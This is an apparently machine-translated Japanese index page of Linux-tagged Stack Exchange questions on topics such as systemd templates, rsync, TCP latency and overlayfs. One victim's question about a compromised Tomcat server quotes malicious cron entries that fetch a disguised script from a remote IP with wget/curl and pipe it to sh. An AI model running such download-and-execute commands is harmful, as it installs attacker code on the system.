タグ付けされた質問 「linux」

Linuxは、Linuxカーネルに基づくUNIXのようなオープンソースオペレーティングシステムの総称です。

6
サーバーはどの時点でアイドル状態と見なされますか?
概念的に、アイドル状態のサーバーの定義は何ですか? サーバーがアイドル状態であるかどうかを判断するために、どのリソースメトリックを確認しますか? あなたは見ますか: CPU使用率 ディスクの使用状況 メモリ使用量 もしそうなら、何かがアイドル状態であるかどうかを決定するために、これらはどのしきい値になければなりませんか? これらの統計を純粋に見ると、リブートしてパッチを適用すると結果が歪むでしょう。


1
Linuxディレクトリを削除できません-無限再帰
バージョン管理サーバーをサポートするRHEL6 VMにNFSマウントがあります。最近、リポジトリの1つが少しおかしくなり、サーバー上でこれが見つかりました。 ls -latri repo.git/refs/heads/ total 28 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 . 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 5551210 drwxr-xr-x. 2 git git 8192 Jun 1 21:21 5551209 drwxr-xr-x. 3 git git 4096 Jun 1 22:09 .. 私がtreeディレクトリに対して実行すると、それは無限に再帰的であるように見えます-例: repo.git/refs/heads/ ├── │ ├── …
8 linux  redhat  nfs 

6
ターミナルウィンドウをリモートで監視するにはどうすればよいですか?
Centos 7サーバーでスクリプトを実行しているアクティブなターミナルウィンドウを使用して、以前にオフィスを離れました。これで自宅からSSHで接続できたので、それがどこにあるのかを確認したい。これは可能ですか?ここから同じターミナルウィンドウに再度参加できますか?

3
不明な起源のcronを介したApacheサーバーへのシェルスクリプト攻撃
Apache tomcatサーバーでプロジェクト戦争を実行しているときに、サーバーが危険にさらされていることがわかりました。 未知の世界で戦争をしている間、cronこんな風に走っています [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh ダウンロードは、logo.jpgマルウェアをダウンロードされたシェルスクリプトを持っています。 以下のこのウェブサイトで同様の問題を見つけました https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/ そして /security/160068/kworker34-malware-on-linux 私のコード全体でこのcronスケジューラの起源を見つけることができません。 誰かがこの問題に直面していることを知りたいのですか?コードでスケジューラの起源を見つけるにはどうすればよいですか。 注意: JAVA(Struts 2)+ jsp + javascript + jquery Webプロジェクトに取り組んでいます。 このスケジューラは、プロジェクトのwarファイルでTomcatを起動するたびに実行されますが、コード内にスケジューラのスケジューラを見つけることができません。 ログファイルで次の行を見つけました [INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - …


1
systemdユニットファイルをオーバーライドしてテンプレートユニットファイルを作成することはできますか?
systemdは、パッケージが提供するユニットファイルをオーバーライドして、サービスの構成/動作に影響を与える優れたメカニズムを提供することを知っています。これは通常、以下のコマンドを使用して行われます sudo systemctl edit <unitfile> オーバーライドconfファイルを作成するには /etc/systemd/system/<unitfile.d>/ Systemdは、テンプレートユニットファイルを定義するための別個のメカニズムも提供し、インスタンス化して実行時にインスタンス固有のユニットを作成します。これには、テンプレートファイルに次の名前を付ける必要があります。 <servicename>@.service そしてそれを次のようにインスタンス化します systemctl start <servicename>@<instancename> 現在、パッケージが提供するサービスを複数のユニットインスタンスとして実行したい状況です。独自のテンプレートユニットファイルの作成を避けたいので、パッケージ提供のユニットファイルをオーバーライドしてテンプレートユニットファイルを作成できるかどうかを確認しようとしています。 私の理解では、テンプレートユニットファイルには通常のユニットファイルとは異なる命名規則があるため、パッケージで提供されるユニットファイルを/ etc / systemd / systemに配置してテンプレートファイルで上書きすることはできないと思います。 私がやろうとしていることを達成するための明確な方法はありますか? 特定のシナリオ:grafanaパッケージは、grafana-server.serviceユニットファイルをインストールします。私のマシンで2つのインスタンスのgrafanaを実行したいと思います-DEVとSTG用にそれぞれ1つ。私はこれを行うことができました: grafana-server.serviceファイルを変更(%Iを使用してフォルダーの場所とファイルパスを設定) 変更されたgrafana-server.serviceの名前をgrafana-server @ .serviceに変更します 次を使用してgrafanaのインスタンスを開始します。 sudo systemctl start grafana-server@dev そして sudo systemctl start grafana-server@stg ただし、これにより、grafanaが提供するサービスユニットファイルからのリンクが解除されます。アップグレード時にサービスファイルが拡張される場合は、このアクティビティを再度やり直す必要があります。私の目的は、この直接の依存関係を回避し、代わりにそれをオーバーライド依存関係に変換することです。 何かご意見は?
8 linux  systemd 

1
1枚のグラフィックカード/ 2ヘッドでsystemdをマルチシート化することはできますか?
Ubuntu Xenial 16.04を使用してマルチシート構成をセットアップしたいと思います。 いくつかの調査の後、今やる方法は "loginctl"呼び出しによるsystemdによるもののようです。(たとえば、ここで見ました)。 今のところ必要な資料がない(手元にキーボードが1つしかない)ため、チュートリアルに詳しく入る前に、グラフィックカード1枚だけを使用して「2シート」設定を実現できるかどうかを知りたい2つの出力、HDMIおよびDVI。2枚必要なようですが、確実にしたいと思います。 ありがとう

5
JDK 8をDebian 8のデフォルトJavaとして設定する
私はJava SDK 8ツール(debianバックポートリポジトリからインストール)をデフォルトとして設定しようとしています。 # update-java-alternatives --list java-1.7.0-openjdk-amd64 1071 /usr/lib/jvm/java-1.7.0-openjdk-amd64 java-1.8.0-openjdk-amd64 1069 /usr/lib/jvm/java-1.8.0-openjdk-amd64 # update-java-alternatives --set /usr/lib/jvm/java-1.8.0-openjdk-amd64 update-alternatives: error: no alternatives for mozilla-javaplugin.so update-java-alternatives: plugin alternative does not exist: /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/IcedTeaPlugin.so うーん、そのエラーは別として(/ubuntu/141791/is-there-a-way-to-update-all-java-related-代替案。そうでなければ、私はこれを修正する方法を知りません、私が見ることができるjdk8用のicedteaプラグインがないので)、これはトリックをしたはずですよね? しかし、多くのJavaツールは依然としてJava 7を指しています。 # update-alternatives --get-selections | grep java appletviewer manual /usr/lib/jvm/java-8-openjdk-amd64/bin/appletviewer extcheck auto /usr/lib/jvm/java-7-openjdk-amd64/bin/extcheck idlj auto /usr/lib/jvm/java-7-openjdk-amd64/bin/idlj jar auto /usr/lib/jvm/java-7-openjdk-amd64/bin/jar …
8 linux  debian  java 

2
rsyncで、パターンに一致するすべてのディレクトリを除外するにはどうすればよいですか?
rsyncで、パターンに一致するサブディレクトリを除外しようとしています。しかし、私はそれを機能させることができません。こことGoogleで見つかったいくつかの例に従っています。しかし、正しい結果が得られません。これが私のコマンドのオプションビットです: -avh --exclude 'branch*' --stats --delete --link-dest=$LNK 私のソースディレクトリ構造は /root /branch1 /branch2 /branch3 /other /stillAnother /etc これはバックアップスクリプトの一部です。$ LNKは、前日のrsync宛先へのリンクです。 / root / branch1、/ root / branch2、/ root / branch3は必要ありません。または同期するコンテンツ。しかし、そうです。 ここに私がすでに試した除外ビットがあります: --exclude=branch* --exclude='branch*' --exclude '/branch*' --exclude /branch* ヘルプ/アドバイスをありがとう。 編集-「重複の可能性」フラグに対処する この質問は、ディレクトリの既知のリストに関するものです。それらのディレクトリがまだ存在しない場合でも、パターンに従うディレクトリを除外する必要があります。つまり、私の例では、名前/branch*が付けられた他のディレクトリが追加される場合があります。スクリプトを将来にわたって使用できるようにする必要があります。また、パターンに一致するディレクトリが追加されたときにスクリプトを編集しないでください。これらのディレクトリは一時的な場合があるためです。
8 linux  rsync 

2
Linuxの最新バージョンでのより高いTCPレイテンシ
私の研究グループでは、最近、マシンのOSをRed Hat 6.2からDebian 8.3にアップグレードし、マシン間の統合Intel 1G NICを介したTCPラウンドトリップ時間が約110µsから220µsに倍増したことを観察しました。 最初は構成の問題だと思ったので、tcp_low_latency=1アップグレードされていないRed HatマシンからDebianマシンにすべてのsysctl構成(など)をコピーしましたが、問題は解決しませんでした。次に、これはLinuxディストリビューションの問題であると考え、マシンにRed Hat 7.2をインストールしましたが、往復時間は約220µsのままでした。 最後に、Debian 8.3とRed Hat 7.2の両方がカーネル3.xを使用していて、Red Hat 6.2がカーネル2.6を使用していたため、問題はLinuxカーネルバージョンにあると考えました。これをテストするために、Linuxカーネル2.6とビンゴでDebian 6.0をインストールしました。時間は再び110µsで速くなりました。 他の人も、最新バージョンのLinuxでこれらの高いレイテンシを経験しましたか?既知の回避策はありますか? 最小作業例 以下は、レイテンシのベンチマークに使用できるC ++アプリケーションです。メッセージを送信し、応答を待ってから、次のメッセージを送信することにより、レイテンシを測定します。100バイトのメッセージでこれを100,000回行います。したがって、クライアントの実行時間を100,000で割ると、往復の待ち時間が得られます。これを使用するには、まずプログラムをコンパイルします。 g++ -o socketpingpong -O3 -std=c++0x Server.cpp 次に、ホストでアプリケーションのサーバー側バージョンを実行します(たとえば、192.168.0.101)。IPを指定して、よく知られているインターフェイスでホストしていることを確認します。 socketpingpong 192.168.0.101 そして、Unixユーティリティtimeを使用して、クライアントの実行時間を測定します。 time socketpingpong 192.168.0.101 client 同一のハードウェアを備えた2つのDebian 8.3ホスト間でこの実験を実行すると、次の結果が得られます。 real 0m22.743s user 0m0.124s sys 0m1.992s Debian 6.0の結果は real 0m11.448s user 0m0.716s sys …

5
どこからでもスクリプトを実行
私はスクリプトを持っています: #!/bin/bash echo "$(dirname $(readlink -e $1))/$(basename $1)" それはここにあります:/home/myuser/bin/abspath.shこれは実行権限を持っています。 実行するecho $PATHと、次のようになります。/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/myuser/bin 任意のディレクトリからabspath <some_path_here>、自分のスクリプトを呼び出すことができるようにしたいと思います。私はbashを使用していますが、何を間違っていますか?

1
CentOS 7-VSFTPDを介して作成されたディレクトリがSELinuxコンテキストを継承しない
当社にはCentOS 7を搭載したウェブサーバーがあり、お客様はFTP(vsftpd)を介してウェブサイトを管理しています。SELinuxは強制モードです。 問題は、VSFTPDを介して作成/アップロードされたデータが適切なSELinuxコンテキストを継承しないことです。説明させてください。 たとえば、WordPressサイトの場合、サーバーにはそのままの状態で、を使用して表示できるいくつかのルールが既にsemanage fcontext -l |grep '/var/www'あります。 /var/www/html(/.*)?/uploads(/.*)? all files system_u:object_r:httpd_sys_rw_content_t:s0 /var/www/html(/.*)?/wp-content(/.*)? all files system_u:object_r:httpd_sys_rw_content_t:s0 したがって、WordPressサイトをコピーするときに、別のサーバーから/var/www/html/SSHでにあるディレクトリに、フォルダーwp-content/とwp-content/uploads/適切なhttpd_sys_rw_content_tセキュリティコンテキストがあるとしましょう。ただし、これらのフォルダーがFTPを介して作成される場合、それらが取得するコンテキストはhttpd_sys_content_t(rwなし)です。これは、顧客がサーバーにアップロードするサイトは、apacheユーザー/グループに書き込み権限を与えても、それらのディレクトリに書き込むことができないため、WordPress管理者が機能しないことを意味します。そのため、サイトをアップロードするときに、これを修正するためにサポートをリクエストする必要があります。これは関係者全員にとって時間の無駄です。 お客様が自分のサイトをhttpdocsにアップロードしたとします。SSHを使用しmv httpdocs/ httpdocs.2/ && cp -pr httpdocs.2/ httpdocs/ && rm httpdocs.2/ -frて問題が解決した場合、データに問題はありません。 またrestorecon -Rv httpdocs/、問題を修正することもできます。 つまり、質問は、VSFTPDを介して作成/アップロードされたディレクトリに、SSHを介してディレクトリが作成/アップロードされたときに継承されるように、適切なSELinuxコンテキストを継承させるにはどうすればよいですか?

2
OverlayFS:ファイルを非表示にせずに削除するにはどうすればよいですか
2つのマウントポイントを1つのディレクトリに集約して、両方のファイルを1つのマウントポイントに結合しようとしています。overlayfsでいくつかのテストを行っており、マージされたマウントポイントを作成できましたが、このマージされたディレクトリからファイルを削除すると問題が発生します。 overlayfsには上部と下部のファイルシステムがあり、下部から何かを削除した場合、上部のファイルシステムに「ホワイトアウト」が作成され、基本的にファイルが「シャイニングスルー」からマージされたレイヤーに隠されるだけであることを理解しています。ファイルはまだ下位ファイルシステムのスペースを占めています。利用できるものとして提示されていないだけです。 私の質問は、どうやってファイルを上位と下位の両方のファイルシステムから削除し、削除したファイルが使用していたスペースを再利用し、単に非表示にするだけではないのですか?私は手動でマージされたディレクトリからファイルを削除してから、下のディレクトリから(これが行うには悪いことだ?)ことができますがdf -ha、まだスペースを取るようマージされたディレクトリを示しています。 none 6.8G 1.9G 4.6G 30% /var/www/merged /dev/loop0 380M 2.3M 354M 1% /mnt/lower1 /dev/loop1 380M 2.3M 354M 1% /mnt/lower2 /dev/loop2 380M 2.3M 354M 1% /mnt/upper none 380M 2.3M 354M 1% /mnt/merged overlayfsファイルシステムからファイルを削除し、正確なディスク使用量を適切に報告する正しい方法は何ですか?

2
Metasploit:モジュールデータベースキャッシュはまだ構築されていません。スローサーチを使用しています
kalilinux 2016の新しいメタスプロイト(最新の安定版) systemctl start postgresql OK msfconsoleの場合 msf > db_status [*] postgresql connected to msf 検索を開始したとき msf > search samba [!] Module database cache not built yet, using slow search だから私はキャッシュを再構築します... msf > db_rebuild_cache そして、検索を開始すると msf > search samba [!] Module database cache not built yet, using slow search この問題を解決するにはどうすればよいですか?
8 linux  security 

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.